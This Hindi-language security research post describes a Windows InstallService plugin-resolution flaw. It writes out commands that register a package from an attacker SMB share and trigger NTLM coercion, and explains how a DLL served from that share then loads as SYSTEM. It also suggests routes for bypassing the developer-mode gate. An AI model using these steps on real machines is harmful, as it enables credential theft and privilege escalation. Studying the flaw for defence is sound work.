
LPE के साथ एक और नया coercion प्राइमिटिव - विंडोज स्टोर InstallService प्लगइन रिज़ॉल्यूशन प्रयोगों के माध्यम से एक गैर-एडमिन उपयोगकर्ता से मशीन-अकाउंट NTLM coercion
इस शोध के पीछे का विचार सरल था, क्योंकि मैं अपनी खुद की coercion तकनीक खोजना चाहता था। मैंने नए RPC आक्रमण सतहों की तलाश से शुरुआत की, लेकिन माइक्रोसॉफ्ट द्वारा RPC गतिविधि निगरानी जोड़ने के बाद (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), मैंने एक अलग रास्ता अपनाने का फैसला किया।
UNCanny उस खरगोश के बिल का परिणाम है। यह ऐसा कुछ नहीं है जिसे मैं वास्तविक रेड टीम ऑप्स के लिए विश्वसनीय मानूंगा क्योंकि इसकी सीमा है, लेकिन मुझे अब भी लगता है कि नोट्स उसी क्षेत्र में खुदाई करने वाले किसी भी व्यक्ति के लिए प्रकाशित करने लायक हैं।
संक्षेप में यह primitive है:
एक सामान्य उपयोगकर्ता विंडोज स्टोर इंस्टॉल सेवा को कुछ इंस्टॉल मेटाडेटा देता है -> सेवा, जो लोकल सिस्टम के रूप में चल रही है, उस कार्य के लिए एक "प्लगइन" हल करती है -> हल करने वाला उस पथ पर
LoadLibraryWकरता है जो उपयोगकर्ता से प्रभावित था -> वह पथ एक UNC है -> मशीन खाते के रूप में आउटबाउंड NTLM।
घटक विंडोज स्टोर इंस्टॉल सेवा वर्ल्ड है: InstallService.dll InstallService.exe में होस्ट किया गया है, जो NT AUTHORITY\SYSTEM के रूप में चल रहा है।
खरगोश का बिल InstallService.dll से शुरू हुआ। मैं विंडोज घटकों को देख रहा था जो पैकेज इंस्टॉल करते हैं, रीबूट के बाद स्थिति बहाल करते हैं, विफल कार्यों को फिर से शुरू करते हैं, स्थानीय/दूरस्थ सामग्री पढ़ते हैं, और प्लगइन लोड करते हैं। जिस किसी भी चीज़ में ये चार चीज़ें एक साथ होती हैं, उसमें आमतौर पर कहीं न कहीं सीमा भ्रम होता है:
दिलचस्प रनटाइम क्लास था:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

वह propertiesJson पैरामीटर वह जगह है जहां मज़ा है। इंस्टॉल व्यवहार को JSON फ़ील्ड जैसे FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId द्वारा वर्णित किया गया है।
पहले मैंने सोचा था कि बग "SourceUri में UNC डालें और सेवा को इसे पढ़ने दें" होगा। यह सुंदर होता, लेकिन विंडोज इतना उदार नहीं था। मैंने अंतर्निहित पूर्ति पथ (CreateInstallServiceWorkFromBridge, InstallService.dll) को उल्टा किया और अंतर्निहित प्लगइन ऐसा नहीं करते:
WU json को पार्स करता है और WinHTTP / Delivery Optimization पर जाता है। कभी SMB नहीं।ChainedWork और XVC एक ही कहानी हैं या क्लाइंट पर मौजूद भी नहीं हैं।SourceUri या तो जल्दी खारिज कर दिया जाता है या कैटलॉग सत्यापन में रूट कर दिया जाता है। CreateCatalogItemFromLocalData नाम के बावजूद इन-मेमोरी सीरियलाइज़्ड json से एक कैटलॉग आइटम बनाता है, यह फ़ाइल खोलने नहीं जाता है।तो भोला विचार एक मृत अंत है, यह सुविधा बहुत दिलचस्प है और मैं इस पर अन्य शोध primitives भी कर रहा हूं और यह जोर से कहने लायक है ताकि कोई इस पर एक सप्ताह बर्बाद न करे :)
पूरे क्रिएट/रिस्टोर प्रवाह में एकमात्र स्थान जहां सेवा एक हमलावर-प्रभावित पथ को छूती है, वह प्लगइन सक्रियण है। फ़ंक्शन PluginHelpers::ActivatePlugin है। यह FulfillmentPluginId को इस क्रम में हल करता है:
"WU" -> अंतर्निहित"ChainedWork" -> अंतर्निहितStaticPluginMap (HKLM) में पाया गया मान -> CoCreateInstance एक CLSID, या WinRT वर्ग को सक्रिय करें"XVC" -> एक्सबॉक्स फैक्टरीFindPackagesForUser(pfn) -> उस पैकेज का InstalledLocation.Path लें -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")शाखा 5 वह है और PluginHelpers::IsPluginAvailable गेट की पुष्टि करता है: यह किसी भी FulfillmentPluginId के लिए सत्य लौटाता है जो एक स्थापित पैकेज से मेल खाता है, ठीक उसी FindPackagesForUser लुकअप के माध्यम से।

इसलिए यदि एक FulfillmentPluginId एक ऐसे पैकेज की ओर इशारा करता है जिसका InstalledLocation एक UNC है, तो InstallService.exe SYSTEM के रूप में चल रहा है:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW को यह पता लगाने से पहले कि dll वहां नहीं है, \\attacker\share से कनेक्ट और प्रमाणित करना होता है और वह प्रमाणीकरण ही coercion है और dll का कभी अस्तित्व में होना आवश्यक नहीं है।

एकमात्र प्रश्न शेष है "एक सामान्य उपयोगकर्ता ऐसा पैकेज कैसे प्राप्त करता है जिसका InstalledLocation UNC है"। उत्तर ढीली-फ़ाइल पंजीकरण है, जो एक प्रति-उपयोगकर्ता, गैर-उन्नत संचालन है:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
विंडोज पैकेज को "अपनी जगह पर" पंजीकृत करता है, इसलिए पंजीकृत InstalledLocation वस्तुतः वह UNC है जिसे आपने इंगित किया था। फिर आप उस पैकेज के परिवार नाम को प्लगइन आईडी के रूप में उपयोग करके कार्य को ट्रिगर करते हैं।
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <उस पैकेज का PFN> )कॉलर एक सामान्य उपयोगकर्ता है, नेटवर्क प्रमाणीकरण मशीन खाता है।

कम-विशेषाधिकार वाले उपयोगकर्ता ने इसे ट्रिगर किया, मशीन खाते ने प्रमाणित किया। विंडोज के अपने लोडर ने UNC स्पर्श किया, कॉलर ने नहीं।

चलाने से पहले दो चीजें सुलझानी होंगी:
impacket-smbserver फ़ाइलसिस्टम प्रकार XTFS रिपोर्ट करता है। AppX गैर-NTFS शेयरों पर पंजीकरण करने से इंकार करता है (0x80073CFD)। impacket/smbserver.py में FileSystemName फ़ील्ड को NTFS में पैच करें।
शेयर को AppxManifest.xml, logo.png, dummy.exe की आवश्यकता है। किसी InstallServicePlugin.dll की आवश्यकता नहीं है। मैनिफेस्ट में MaxVersionTested लक्ष्य बिल्ड से ≤ होना चाहिए (लक्ष्य पर winver से जांचें)।
आप Kali पर रिपो रूट से poc/setup.sh चला सकते हैं। यह शेयर को पॉप्युलेट करता है, impacket को पैच करता है, यदि TARGET_IP और TARGET_CREDS सेट हैं तो smbclient के माध्यम से लक्ष्य पर poc.ps1 स्टेज करता है, और सर्वर शुरू करता है ;-)
फिर अपने विंडोज वर्कस्टेशन पर एक इंटरैक्टिव सत्र से कम-विशेषाधिकार वाले उपयोगकर्ता के रूप में:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
उसी बग का एक दूसरा पक्ष है जो coercion से अधिक सीधा है। यदि InstallServicePlugin.dll वास्तव में UNC पैकेज पथ पर मौजूद है, तो सेवा अभी भी उसी LoadLibraryW(\\attacker\share\InstallServicePlugin.dll) शाखा तक पहुंचती है, लेकिन इस बार लोडर सफल होता है और dll स्टोर इंस्टॉल सेवा प्रक्रिया के अंदर NT AUTHORITY\SYSTEM के रूप में मैप हो जाता है।
तो मैं इस मुद्दे के लिए सबूत देने की कोशिश में उत्साहित हो गया और lpe/ में poc लिखा। महत्वपूर्ण बात कोई और पैकेज पंजीकरण चाल नहीं है, यह वही पंजीकृत ढीला पैकेज है जिसे प्लगइन पैकेज के रूप में पुन: उपयोग किया जा रहा है। हार्नेस कम-विशेषाधिकार वाले उपयोगकर्ता के पैकेज परिवार नाम को Get-AppxPackage से पूछता है, उस PFN को FulfillmentPluginId के रूप में पास करता है, SkipCatalogLookup=true सेट करता है, और SerializedFulfillmentData शामिल करता है। वह अंतिम फ़ील्ड मायने रखती है क्योंकि यदि पूर्ति डेटा के बिना कैटलॉग लुकअप छोड़ दिया जाता है तो InstallQueue2::CreateWork 0x80070057 के साथ अनुरोध को अस्वीकार कर देता है।
समस्या निवारण में लंबा समय लेने वाली एक बात पर ध्यान देना बहुत महत्वपूर्ण है कि impacket एक लोड करने योग्य इमेज प्रदान नहीं कर सकता। यह मशीन खाते के प्रमाणीकरण के लिए पढ़ने का पर्याप्त उत्तर देता है, इसलिए coercion पथ पूरी तरह से खुश है, लेकिन impacket शेयर के खिलाफ LoadLibraryW ERROR_INVALID_HANDLE के साथ शून्य लौटाता है और DllMain कभी नहीं चलता। एक वास्तविक SMB सर्वर (Samba) के साथ बिल्कुल उन्हीं फ़ाइलों की सेवा करें और लोड सफल होता है। Samba डिफ़ॉल्ट रूप से NTFS रिपोर्ट करता है इसलिए ढीला पंजीकरण अभी भी होता है। तो नियम सरल है: impacket जब आप केवल हैश चाहते हैं, Samba जब आप चाहते हैं कि dll वास्तव में SYSTEM के रूप में निष्पादित हो!
एक वास्तविक रन पर, कम-विशेषाधिकार वाले उपयोगकर्ता द्वारा ट्रिगर किया गया, uncanny_lpe.txt दिखाता है कि dll svchost.exe में मैप हो गया है और टोकन NT AUTHORITY\SYSTEM / S-1-5-18 में हल हो गया है, जो नीचे स्क्रीनशॉट है।

CreateInstallServiceWork इस डेमो dll के साथ अभी भी 0x800706BE लौटाता है क्योंकि जब तक सेवा वास्तविक प्लगइन इंटरफ़ेस मांगती है और हार मान लेती है, तब तक DllMain पहले ही चल चुका होता है :-)

सीमा वास्तव में वह कारण है जिसके लिए मैंने इस तकनीक को प्रकाशित करने का निर्णय लिया - इसे करने के लिए डेवलपर मोड सक्षम होना चाहिए। पूरी बात InstalledLocation.Path के UNC पथ होने पर टिकी है, और इसमें बहुत समय बिताने के बाद, मुझे ऐसा करने का केवल एक तरीका मिला। एक सामान्य हस्ताक्षरित इंस्टॉल पैकेज को C:\Program Files\WindowsApps\... में कॉपी करता है, InstalledLocation वहां सेट करता है, और वह हमेशा एक स्थानीय पथ होता है।
एकमात्र पंजीकरण पथ जो मुझे मिला जो फ़ाइलों को वहीं रखता है जहां वे पहले से हैं, UNC शेयर पर भी, ढीली-फ़ाइल पंजीकरण (Add-AppxPackage -Register <manifest>) है। यह ठीक वही है जो डेवलपर मोड (AllowDevelopmentWithoutDevLicense HKLM\...\AppModelUnlock के अंतर्गत) अनलॉक करता है। और इसके गेटेड होने का कारण समझ में आता है। ढीला पंजीकरण मूल रूप से एक विश्वसनीय पैकेज पहचान बनाता है जो मनमाने अहस्ताक्षरित फ़ाइलों से बना है जो आपके नियंत्रण वाले स्थान पर बैठी हैं, जो सामान्य स्टोर और हस्ताक्षर विश्वास मॉडल को पूरी तरह से दरकिनार कर देता है। इस वजह से, डेवलपर मोड को सक्षम होना चाहिए, और यह वर्तमान में तकनीक की सबसे बड़ी सीमा है।
दिलचस्प बात यह है कि InstallService पक्ष को वास्तव में परवाह नहीं है और एक बार ऐसा पैकेज मौजूद होने के बाद, ActivatePlugin की शाखा 5 खुशी-खुशी LoadLibraryW को उस पर कॉल करेगी जो भी InstalledLocation.Path प्राप्त होता है। पूरी समस্যা डेवलपर मोड की आवश्यकता के बिना पहले स्थान पर एक ऐसा पैकेज प्राप्त करना है जिसका इंस्टॉल स्थान UNC पथ की ओर इशारा करता है।
इसलिए, मैंने अंदर जाने का दूसरा रास्ता खोजने के लिए गार्ड रेल को उल्टा करना शुरू कर दिया।
डेवलपर मोड की जाँच InstallService के अंदर बिल्कुल नहीं रहती है। यह AppX परिनियोजन स्टैक (AppXDeploymentServer.dll और परिनियोजन लाइसेंसिंग नीति) के अंदर बैठती है और अंततः HKLM\...\AppModelUnlock पढ़ती है, जो व्यवस्थापक-नियंत्रित है। एक सामान्य उपयोगकर्ता वहां कुछ भी फ्लिप नहीं कर सकता है।
मैंने उस स्पष्ट बाईपास का भी पीछा किया जैसे कि साइडलोडिंग
मैंने इसे साइडलोडिंग सक्षम और डेवलपर मोड अक्षम (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0) के साथ परीक्षण किया। ढीला पंजीकरण तुरंत विफल हो गया और शिकायत की कि पैकेज मूल Unsigned था और कोई मान्य लाइसेंस या साइडलोडिंग नीति लागू नहीं की जा सकती।
अभी भी कुछ ऐसे रास्ते हैं जिन्हें मैंने पूरी तरह से खारिज नहीं किया है, यदि आप चाहें तो खुदाई कर सकते हैं:
StaticPluginMap एक COM खोज-आदेश अपहरण के साथ संयुक्त-ExternalLocation और बाहरी पैकेज सामग्रीHKCU\...\CLSID के माध्यम सेएलास्टिक शायद एक दिन में इसे कवर कर लेगा।
- मैं इस जानकारी के उपयोग के लिए जिम्मेदार नहीं हूं। यह शोध अंततः शैक्षिक उद्देश्यों के लिए प्रकाशित किया गया है, और आक्रमण सतह की समझ को बेहतर बनाने में भी मदद कर सकता है।